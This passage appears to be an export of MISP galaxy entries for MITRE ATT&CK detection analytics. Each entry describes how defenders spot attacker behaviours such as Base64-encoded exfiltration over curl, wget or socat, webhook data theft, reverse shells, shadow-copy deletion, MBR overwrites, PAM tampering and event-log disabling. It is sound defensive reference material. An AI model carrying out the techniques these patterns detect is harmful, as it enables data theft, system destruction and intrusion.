The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0972 - AN0972"*

Table 6777. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0343#AN0972

Analytic 0729 - AN0729

Inspect resolver and audit logs for processes initiating outbound connections to ports calculated from DNS response IPs. Abnormal ephemeral port usage shortly after DNS queries can indicate DNS calculation behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0729 - AN0729"*

Table 6778. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0262#AN0729

Analytic 0927 - AN0927

A process/script constructs or references a custom/alphabet translation table (e.g., 64/85/32+ arbitrary chars, XOR/base-N loops) or emits long high-entropy strings that do NOT validate as standard Base64/Hex → shortly after, the same process (or its child) generates outbound traffic with asymmetric bytes_out:bytes_in, fixed-size beacons, or protocol/header mismatches (e.g., Content-Type says JSON but body fails JSON parse / contains non-standard alphabet).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0927 - AN0927"*

Table 6779. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0326#AN0927

Analytic 0297 - AN0297

Detects PE injection through a behavioral sequence where one process opens (OpenProcess) a handle to another, allocates remote memory (VirtualAllocEx), writes a PE header (MZ) or shellcode (WriteProcessMemory), then initiates a new thread (CreateRemoteThread or NtCreateThreadEx) in that process—executing injected code in memory without touching disk. Optional: injects a trampoline or shellcode that unpacks/reflectively maps the payload.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0297 - AN0297"*

Table 6780. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0106#AN0297

Analytic 0792 - AN0792

Monitor for anomalous email activity originating from Windows-hosted applications (e.g., Outlook) where the sending account name or display name does not match the underlying SMTP address. Detect abnormal volume of outbound messages containing sensitive keywords (e.g., 'payment', 'wire transfer') or anomalous login locations for accounts associated with email sending activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0792 - AN0792"*

Table 6781. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0286#AN0792

Analytic 0279 - AN0279

Detects invocation of lua or luajit interpreters by users or services outside of expected packages, chained with script drop or memory artifacts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0279 - AN0279"*

Table 6782. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0101#AN0279

Analytic 0828 - AN0828

Execution of utilities (dd, hdparm, sgdisk) or custom binaries attempting to overwrite disk boot structures (/dev/sda MBR sector or partition tables). Detection correlates shell execution with syscalls writing to sector 0 or disk metadata blocks.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0828 - AN0828"*

Table 6783. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0297#AN0828

Analytic 0288 - AN0288

Detects modification of PAM configuration files, unauthorized new PAM modules, and suspicious process execution accessing PAM-related binaries. Correlates file modification events in /etc/pam.d/ with process execution of unauthorized binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0288 - AN0288"*

Table 6784. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0104#AN0288

Analytic 0882 - AN0882

Processes attempting raw disk access via \\.\PhysicalDrive paths, abnormal file I/O to MBR/boot sectors, or loading of third-party drivers (e.g., RawDisk) that enable disk overwrite. Correlate process creation, privilege usage, and disk modification events within a short time window.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0882 - AN0882"*

Table 6785. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0316#AN0882

Analytic 0928 - AN0928

Shell scripts or binaries implement custom mapping tables (tr/sed/awk/golang/rust/python encode loops), or emit long high-entropy tokens that fail Base64/Hex validation → correlated with egress showing asymmetric flow, protocol-mismatch payloads, or DNS/HTTP bodies containing low-diversity-but-long custom alphabets.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0928 - AN0928"*

Table 6786. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0326#AN0928

Analytic 0892 - AN0892

Changes to security configurations such as disabling MFA requirements, reducing session token lifetimes, or turning off risk-based policies. Correlate admin logins with sudden policy downgrades.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0892 - AN0892"*

Table 6787. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0317#AN0892

Analytic 0982 - AN0982

Use of tools like xwd or import to generate screenshots, especially under non-GUI parent processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0982 - AN0982"*

Table 6788. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0346#AN0982

Analytic 0829 - AN0829

Abnormal invocation of diskutil or asr that modifies partition tables or initializes raw devices. Monitor for IOKit system calls targeting disk headers or EFI boot sectors, correlated with elevated privileges.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0829 - AN0829"*

Table 6789. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0297#AN0829

Analytic 0298 - AN0298

Correlation of inbound emails with embedded links followed by user-driven browser navigation to suspicious or obfuscated domains. Detection chain includes malicious URL in email → user click recorded in Office logs → browser process spawning unusual child processes (e.g., PowerShell, cmd) or download activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0298 - AN0298"*

Table 6790. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0107#AN0298

Analytic 0289 - AN0289

Detects unauthorized additions or changes to /Library/Security/SecurityAgentPlugins and suspicious process activity attempting to hook authentication APIs. Correlates file modifications with abnormal plugin loads in authentication flows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0289 - AN0289"*

Table 6791. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0104#AN0289

Analytic 0992 - AN0992

Detect suspicious file creations and process executions triggered by browser activity (e.g., injected

payloads written to %AppData% or Temp directories, then executed). Correlate network anomalies with subsequent local process creation or script execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0992 - AN0992"*

Table 6792. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0349#AN0992

Analytic 0929 - AN0929

EndpointSecurity/Unified Logs show processes generating custom alphabets or long high-entropy, non-standard tokens → network logs (PF/Zeek/EDR) show asymmetric beacons, protocol mismatches, or periodic fixed-size posts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0929 - AN0929"*

Table 6793. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0326#AN0929

Analytic 0299 - AN0299

Detection of spearphishing links through mail logs and browser activity. Behavior includes email with suspicious URLs → user click recorded in mail/web proxy logs → shell or interpreter launched from browser process.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0299 - AN0299"*

Table 6794. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0107#AN0299

Analytic 0333 - AN0333

Detects manipulation of PNG, JPG, or GIF files by user-initiated scripts followed by script execution or exfiltration behavior, especially from `osascript`, `python`, or `bash`, in combination with LaunchAgent persistence or curl activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0333 - AN0333"*

Table 6795. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0119#AN0333

Analytic 0433 - AN0433

Interactive or remote shell/API invocation of esxcli system clock get or querying time parameters via hostd/vpxa shortly followed by time/ntp configuration checks or scheduled task creation, executed by non-standard accounts or outside maintenance windows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0433 - AN0433"*

Table 6796. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0151#AN0433

Analytic 0343 - AN0343

Detects mounted external devices (via /media or /mnt) followed by large file read or copy operations by shell scripts, unauthorized users, or staging tools (e.g., tar, rsync).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0343 - AN0343"*

Table 6797. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0123#AN0343

Analytic 0334 - AN0334

Correlated user account modification (reset, disable, deletion) events with anomalous process lineage (e.g., PowerShell or net.exe from an interactive session), especially outside of IT admin change windows or by non-admin users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0334 - AN0334"*

Table 6798. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0120#AN0334

Analytic 0335 - AN0335

Password changes or account deletions via 'passwd', 'userdel', or 'chage' preceded by interactive shell or remote command execution from non-privileged accounts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0335 - AN0335"*

Table 6799. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0120#AN0335

Analytic 0353 - AN0353

Direct modification of /etc/ssh/keys-<user>/authorized_keys or enabling SSH in sshd_config to support public key auth.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0353 - AN0353"*

Table 6800. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0126#AN0353

Analytic 0533 - AN0533

Use of pbpaste, AppleScript, or third-party automation frameworks (e.g., Automator) to collect clipboard or file content in bursts. Observable via unified logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0533 - AN0533"*

Table 6801. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0186#AN0533

Analytic 0363 - AN0363

Adversary enumeration of domain accounts using net.exe, PowerShell, WMI, or LDAP queries from non-domain controllers or non-admin endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0363 - AN0363"*

Table 6802. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0129#AN0363

Analytic 0633 - AN0633

Processes initiating outbound connections on uncommon ports or using protocols inconsistent with the assigned port. Correlating process creation with subsequent network connections reveals anomalies such as svchost.exe or Office applications using high, atypical ports.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0633 - AN0633"*

Table 6803. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0227#AN0633

Analytic 0336 - AN0336

Execution of dscl or sysadminctl commands to disable, delete, or modify users combined with anomalous process ancestry or terminal session launch.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0336 - AN0336"*

Table 6804. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0120#AN0336

Analytic 0337 - AN0337

Invocation of esxcli 'system account remove' from vCLI, SSH, or vSphere API with anomalous user access or outside maintenance windows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0337 - AN0337"*

Table 6805. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0120#AN0337

Analytic 0733 - AN0733

Detects JavaScript execution through WSH (wscript.exe, cscript.exe) or HTA (mshta.exe), particularly when spawned from Office macros, web browsers, or abnormal user paths. Correlates script execution with outbound network activity or system modification.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0733 - AN0733"*

Table 6806. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0264#AN0733

Analytic 0373 - AN0373

File lock acquired via open() + flock() or lockf() on predictable path (e.g., /tmp/.lock123) followed by conditional early exit or divergent process behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0373 - AN0373"*

Table 6807. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0132#AN0373

Analytic 0833 - AN0833

Detects invocation of macOS-native archiving utilities (zip, ditto, hdiutil) or openssl used for encryption. Correlates execution with archive or encrypted file creation (.zip, .dmg, .tar.gz) in user or temporary directories. Identifies anomalous use of archiving commands by Office applications or daemons.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0833 - AN0833"*

Table 6808. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0298#AN0833

Analytic 0338 - AN0338

O365 UnifiedAuditLog entries for Remove-Mailbox or Set-Mailbox with account disable or delete actions correlated with suspicious login locations or MFA bypass.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0338 - AN0338"*

Table 6809. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0120#AN0338

Analytic 0383 - AN0383

Detection of unauthorized modification of Active Directory SID-History attributes to escalate privileges. This chain involves: (1) privileged operations or API calls to DsAddSidHistory or related AD modification functions, (2) observed attribute changes in SID-History (Event ID 5136), (3) new logon sessions where the token includes unexpected or privileged SID-History values, and (4) follow-on resource access using elevated privileges derived from SID-History injection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0383 - AN0383"*

Table 6810. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0136#AN0383

Analytic 0393 - AN0393

Detects deletion of suspicious files (e.g., payloads, temp exes, scripts) via `rm`, `unlink`, or secure

deletion tools like `shred`, especially when performed by unexpected users or shortly after execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0393 - AN0393"*

Table 6811. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0140#AN0393

Analytic 0339 - AN0339

Deletion or disablement of user accounts in platforms like Okta, Salesforce, or Zoom with anomalies in admin session attributes or mass actions within short duration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0339 - AN0339"*

Table 6812. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0120#AN0339

Analytic 0933 - AN0933

Process chains that use native utilities (vssadmin, wbadmin, diskshadow, bcdedit, REAgentC, wmic) with arguments to delete shadow copies, disable recovery, or remove backup catalogs

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0933 - AN0933"*

Table 6813. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0329#AN0933

Analytic 0443 - AN0443

Automated and repetitive triggering of SMS messages through OTP/account verification fields on SaaS platforms, leveraging background messaging APIs such as Twilio, AWS SNS, or Amazon Cognito to generate traffic toward attacker-controlled numbers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0443 - AN0443"*

Table 6814. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0156#AN0443

Analytic 0434 - AN0434

Non-standard or rare users/locations issue CLI commands like "show clock detail" or "show timezone"; optionally followed by configuration of time/timezone or NTP sources. AAA/TACACS+ accounting and syslog correlate execution to identity, source IP, and privilege level.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0434 - AN0434"*

Table 6815. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0151#AN0434

Analytic 0344 - AN0344

Detects mounting of external volumes followed by high-volume or sensitive file access via Finder, terminal, or third-party apps (e.g., rsync, zip).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0344 - AN0344"*

Table 6816. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0123#AN0344

Analytic 0534 - AN0534

Suspicious sign-ins to Graph API or sensitive resources using non-browser scripting agents (e.g., Python, PowerShell), often for programmatic access to mailbox or OneDrive content.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0534 - AN0534"*

Table 6817. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0186#AN0534

Analytic 0354 - AN0354

Use of command-line like `ip ssh pubkey-chain` to bind SSH keys to privileged accounts on routers or switches.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0354 - AN0354"*

Table 6818. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0126#AN0354

Analytic 0345 - AN0345

Process invokes a standard encoder (e.g., PowerShell -enc, certutil -encode, base64 via .NET/Invoke-Expression) or emits long Base64/hex literals → shortly followed by outbound network egress with high bytes_out:bytes_in ratio or HTTP headers/payloads containing Base64/MIME blocks.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0345 - AN0345"*

Table 6819. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0124#AN0345

Analytic 0543 - AN0543

Detects registry and Group Policy modifications that disable or weaken MFA, suspicious PowerShell usage modifying MFA-related attributes, and anomalous login sessions succeeding without expected MFA challenge.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0543 - AN0543"*

Table 6820. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0190#AN0543

Analytic 0435 - AN0435

Detection focuses on adversaries placing or modifying malicious dylibs in locations searched by legitimate applications. From the defender's perspective, observable patterns include unexpected creation or modification of dylib files in application bundle paths, unusual module loads by processes compared to historical baselines, and execution of applications loading dylibs from suspicious directories (e.g., /tmp, user-controlled paths). Correlation across file system changes, process execution, and module loads provides high-fidelity detection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0435 - AN0435"*

Table 6821. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0152#AN0435

Analytic 0453 - AN0453

Detect anomalous OAuth or SSO logins that repeatedly generate MFA challenges, particularly where MFA approvals are denied or timed out by the user.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0453 - AN0453"*

Table 6822. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0160#AN0453

Analytic 0364 - AN0364

Domain account enumeration using ldapsearch, samba tools (e.g., 'wbinfo -u'), or winbindd lookups.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0364 - AN0364"*

Table 6823. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0129#AN0364

Analytic 0346 - AN0346

Shell/utility (base64, xxd -p, od, openssl enc -base64, python/perl base64 libraries) encodes data → subsequent outbound connections (curl/wget/bash TCP, socat, python requests) with high asymmetry or Base64/MIME blobs in HTTP/DNS payloads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0346 - AN0346"*

Table 6824. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0124#AN0346

Analytic 0436 - AN0436

Unusual processes (e.g., powershell.exe, wscript.exe, mshta.exe) posting data to webhook endpoints (Discord, Slack, webhook.site) using HTTP POST/PUT requests. Defender perspective: suspicious process lineage followed by outbound HTTPS traffic to webhook domains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0436 - AN0436"*

Table 6825. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0153#AN0436

Analytic 0643 - AN0643

Detects execution of binaries signed with unusual or recently issued certificates, correlation of process execution with abnormal publisher metadata, and mismatched certificate chains. Monitors for revoked or unknown code signing certificates used in high-privilege contexts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0643 - AN0643"*

Table 6826. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0230#AN0643

Analytic 0463 - AN0463

Process creates a raw/packet socket and attaches a (e)BPF filter (setsockopt SO_ATTACH_FILTER/ATTACH_BPF or bpf(BPF_PROG_LOAD)). Immediately after a matching inbound packet, the same process binds/connects outward to a remote host (reverse shell or beacon).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0463 - AN0463"*

Table 6827. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0162#AN0463

Analytic 0634 - AN0634

Unusual daemons or user processes binding/listening on ports outside of standard ranges, or initiating client connections using mismatched protocol/port pairings.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0634 - AN0634"*

Table 6828. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0227#AN0634

Analytic 0437 - AN0437

Processes such as curl, wget, or custom scripts initiating POST requests to webhook endpoints with encoded or bulk data. Defender perspective: abnormal chaining of file compression or access followed by outbound data to webhook URLs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0437 - AN0437"*

Table 6829. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0153#AN0437

Analytic 0473 - AN0473

Adversary installs or modifies email content filters or transport scripts (e.g., Postfix milter,

Sendmail milter, Exim filters) using shell access or configuration manipulation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0473 - AN0473"*

Table 6830. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0166#AN0473

Analytic 0374 - AN0374

User-mode application uses flock() or NSDistributedLock to gain exclusive access to a resource file (e.g., /tmp/guard.lock), conditional logic alters execution if already locked.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0374 - AN0374"*

Table 6831. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0132#AN0374

Analytic 0347 - AN0347

Processes use base64/xxd/openssl/python Objective-C APIs to encode data (seen in EndpointSecurity exec events or Unified Logs) → quick outbound connections with large bytes_out or HTTP POSTs carrying Base64/MIME bodies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0347 - AN0347"*

Table 6832. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0124#AN0347

Analytic 0743 - AN0743

Background launch agents/daemons with high CPU use and network access to external mining services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0743 - AN0743"*

Table 6833. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0267#AN0743

Analytic 0734 - AN0734

Detects JavaScript for Automation (JXA) via osascript or compiled scripts using OSAKit APIs. Flags execution involving system modification, inter-process scripting, or browser abuse.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0734 - AN0734"*

Table 6834. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0264#AN0734

Analytic 0834 - AN0834

Sequential behavioral chain of privilege escalation through permission modification: (1) Process creation of permission-modifying utilities (icacls, takeown, attrib, cacls), (2) Correlation with unusual user context or timing, (3) DACL modification events targeting sensitive files/directories, (4) Subsequent file access or modification attempts indicating successful privilege bypass

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0834 - AN0834"*

Table 6835. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0299#AN0834

Analytic 0348 - AN0348

ESXi shell (BusyBox) or VMware utilities (openssl, python if present) used to Base64/hex encode data from datastore or config files → followed by abnormal egress from the host (NSX/flow logs) with asymmetric bytes_out or HTTPS posts to non-management endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0348 - AN0348"*

Table 6836. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0124#AN0348

Analytic 0384 - AN0384

Unusual direct disk access attempts (e.g., use of \\.\PhysicalDrive notation), abnormal writes to MBR/boot sectors, and installation of kernel drivers that grant raw disk access. Correlate anomalous process creation with disk modification attempts and driver loads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0384 - AN0384"*

Table 6837. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0137#AN0384

Analytic 0843 - AN0843

A source performs a short closed-port sequence; the host then modifies iptables/nftables/ufw rules or starts a daemon binding a new socket, followed by a successful connection from the same source.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0843 - AN0843"*

Table 6838. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0302#AN0843

Analytic 0483 - AN0483

Forged cookies in IaaS environments may appear as authentication attempts that bypass MFA, leveraging AssumeRole or session APIs with cookies that were never legitimately issued. Defenders should correlate cloud logs for cookie-based sessions without prior valid authentication, often followed by resource access from unfamiliar IP addresses.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0483 - AN0483"*

Table 6839. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0171#AN0483

Analytic 0438 - AN0438

Unexpected apps or scripts (osascript, curl, Automator workflows) exfiltrating data via webhooks. Defender perspective: correlation of clipboard/file read operations followed by HTTPS POST traffic to webhook services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0438 - AN0438"*

Table 6840. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0153#AN0438

Analytic 0934 - AN0934

Shell utilities or scripts deleting `/etc/systemd/system/rescue.target`, `/etc/fstab` backups, or `/boot/efi` partitions; chattr used to block snapshot auto-recovery

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0934 - AN0934"*

Table 6841. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0329#AN0934

Analytic 0394 - AN0394

Detects removal of adversary artifacts via `rm`, `unlink`, or secure tools, with focus on shell sessions, temp files, and modified LaunchAgents or system directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0394 - AN0394"*

Table 6842. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0140#AN0394

Analytic 0493 - AN0493

Detects adversary exploitation of authentication mechanisms or credential validation processes. Defender perspective includes forged Kerberos tickets (e.g., MS14-068), abnormal LSASS memory access, replayed authentication attempts, and unexpected crashes of authentication services. Multi-event correlation ties exploitation attempts to abnormal process creation, service instability, and suspicious authentication events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0493 - AN0493"*

Table 6843. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0174#AN0493

Analytic 0439 - AN0439

VMware services or management daemons generating HTTP POST requests to webhook endpoints, chained with unusual datastore or log access. Defender perspective: exfiltration from VM logs or disk images over webhook URLs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0439 - AN0439"*

Table 6844. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0153#AN0439

Analytic 0349 - AN0349

Unusual modification or creation of loginwindow-related plist files in '~/Library/Preferences/ByHost' correlated with unauthorized application paths and execution upon login.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0349 - AN0349"*

Table 6845. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0125#AN0349

Analytic 0943 - AN0943

Detects creation of scheduled tasks via `at.exe` or WMI `Win32_ScheduledJob` class, followed by execution of anomalous processes by svchost.exe or taskeng.exe.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0943 - AN0943"*

Table 6846. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0333#AN0943

Analytic 0553 - AN0553

Rule manipulation through local email clients (e.g., Evolution, Thunderbird) or server-side filtering scripts (e.g., sieve) creating conditions to move or discard emails with security-related keywords.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0553 - AN0553"*

Table 6847. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0192#AN0553

Analytic 0535 - AN0535

Detection of attempts to disable or tamper with Windows Event Logging. This includes stopping or disabling the EventLog service, modifying registry keys related to EventLog and Autologger, using `auditpol` or `wevtutil` to disable categories or clear audit policies, and detecting suspicious gaps or resets in event logs. Defenders observe registry changes, service state changes, process execution of disabling commands, and anomalies in event record sequences.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0535 - AN0535"*

Table 6848. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0187#AN0535

Analytic 0355 - AN0355

Adversary renames LOLBINs or deploys binaries with spoofed file names, internal PE metadata, or misleading icons to appear legitimate. File creation is followed by execution or service registration inconsistent with known usage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0355 - AN0355"*

Table 6849. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0127#AN0355

Analytic 0356 - AN0356

Adversary drops renamed binaries in uncommon directories (e.g., /tmp, /dev/shm) or uses special characters in names (e.g., trailing space, Unicode RLO). Execution or cronjob registration follows shortly after file drop.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0356 - AN0356"*

Table 6850. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0127#AN0356

Analytic 0635 - AN0635

Applications making outbound connections on non-standard ports or launchd services bound to ports inconsistent with system baselines.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0635 - AN0635"*

Table 6851. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0227#AN0635

Analytic 0536 - AN0536

Drive enumeration using PowerShell (`Get-PSDrive`), `wmic logicaldisk`, or Win32 API indicative of local volume enumeration by non-admin users or executed outside of baseline system inventory scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0536 - AN0536"*

Table 6852. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0188#AN0536

Analytic 0563 - AN0563

CLI-based execution of interface and routing discovery commands (e.g., `show ip interface`, `show arp`, `show route`) over Telnet, SSH, or console.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0563 - AN0563"*

Table 6853. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0195#AN0563

Analytic 0653 - AN0653

Abnormal usage of Preview, ImageMagick, or binary editors to alter images/documents, followed by exfiltration or outbound connections with mismatched file MIME types or payload structure.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0653 - AN0653"*

Table 6854. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0235#AN0653

Analytic 0365 - AN0365

Domain group and user enumeration via dscl or dscacheutil, or queries to directory services from non-admin endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0365 - AN0365"*

Table 6855. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0129#AN0365

Analytic 0537 - AN0537

Abnormal use of `lsblk`, `fdisk -l`, `lshw -class disk`, or `parted` by non-admin users or within non-interactive shells suggests suspicious disk enumeration activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0537 - AN0537"*

Table 6856. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0188#AN0537

Analytic 0735 - AN0735

Detects Node.js or JavaScript interpreter execution from web shells, cron jobs, or local users. Correlates execution with reverse shell behavior, file modifications, or abnormal outbound connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0735 - AN0735"*

Table 6857. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0264#AN0735

Analytic 0573 - AN0573

Detects attempts to enumerate VMs via hypervisor tools like `virsh`, `VBoxManage`, or `qemu-img`. Defender correlates suspicious command invocations with parent process lineage and unexpected users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0573 - AN0573"*

Table 6858. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0199#AN0573

Analytic 0357 - AN0357

Adversary creates disguised launch daemons or apps with misleading names and bundle metadata (e.g., Info.plist values inconsistent with binary path or icon). Launch is correlated with user logon or persistence setup.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0357 - AN0357"*

Table 6859. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0127#AN0357

Analytic 0753 - AN0753

Use of cloud-based bastion or VM console session followed by commands that initiate outbound SSH or RDP sessions from the cloud instance to other environments.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0753 - AN0753"*

Table 6860. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0269#AN0753

Analytic 0375 - AN0375

Detection of the creation of VSCode or JetBrains CLI tunneling profiles followed by persistent remote access via IDE-integrated tunnels, potentially authenticated via GitHub or JetBrains accounts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0375 - AN0375"*

Table 6861. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0133#AN0375

Analytic 0358 - AN0358

Adversary uses renamed container images, injects files into containers with misleading names or metadata (e.g., renamed system binaries), and executes them during startup or scheduled jobs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0358 - AN0358"*

Table 6862. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0127#AN0358

Analytic 0538 - AN0538

